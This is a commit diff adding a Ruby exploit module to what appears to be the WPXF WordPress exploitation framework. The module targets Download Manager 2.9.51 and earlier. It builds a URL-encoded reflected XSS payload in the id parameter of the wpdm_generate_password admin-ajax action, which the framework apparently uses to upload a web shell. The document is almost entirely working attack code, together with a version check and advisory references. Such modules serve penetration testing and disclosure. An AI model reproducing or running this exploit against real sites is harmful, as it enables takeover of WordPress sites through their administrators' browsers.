Add Download Manager <= 2.9.51 reflected XSS shell upload

Author: rastating

modules/exploits/download_manager_reflected_xss_shell_upload.rb

@@ -0,0 +1,37 @@
+class Wpxf::Exploit::DownloadManagerReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+  include ERB::Util
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Download Manager <= 2.9.51 Reflected XSS Shell Upload',
+      author: [
+        'Tom Adams',                      # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8850'],
+        ['URL', 'https://security.dxw.com/advisories/xss-download-manager/']
+      ],
+      date: 'Jun 16 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('download-manager', 'readme.txt', '2.9.52')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin-ajax.php')
+  end
+
+  def xss_payload
+    url_encode("</script><script>#{xss_ascii_encoded_include_script}</script>")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?action=wpdm_generate_password&id=#{xss_payload}"
+  end
+end